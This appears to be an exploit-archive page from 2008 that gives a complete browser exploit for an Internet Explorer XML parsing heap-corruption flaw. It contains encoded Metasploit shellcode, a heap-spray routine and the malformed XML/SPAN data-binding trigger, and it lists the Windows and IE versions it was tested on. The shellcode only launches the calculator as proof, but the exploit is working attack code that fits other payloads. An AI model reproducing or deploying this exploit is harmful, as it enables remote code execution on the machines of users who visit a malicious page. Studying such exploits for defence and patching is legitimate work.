MS Internet Explorer XML Parsing Buffer Overflow Exploit (allinone)
2008-12-15 20:30:04<!--IE XML Heap Corruption exploitby kraftygreets to hdm, ddz, SK, muts, halvar, grugq, and all the ethnical hackerssux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.Bring back the days of technotronic and r00tshell! Freedom.poc: launches calculator.Tested with IE7 XP SP2, SP3, Vista.--><html><div id="replace">x</div><script>// windows/exec - 148 bytes// http://www.metasploit.com// Encoder: x86/shikata_ga_nai// EXITFUNC=process, CMD=calc.exevar shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");// ugly heap spray, the d0nkey way!// works most of the timevar spray = unescape("%u0a0a%u0a0a");do { spray += spray;} while(spray.length < 0xd0000);memory = new Array();for(i = 0; i < 100; i++) memory[i] = spray + shellcode;xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";tag = document.getElementById("replace");tag.innerHTML = xmlcode;</script></html>#
Fixes
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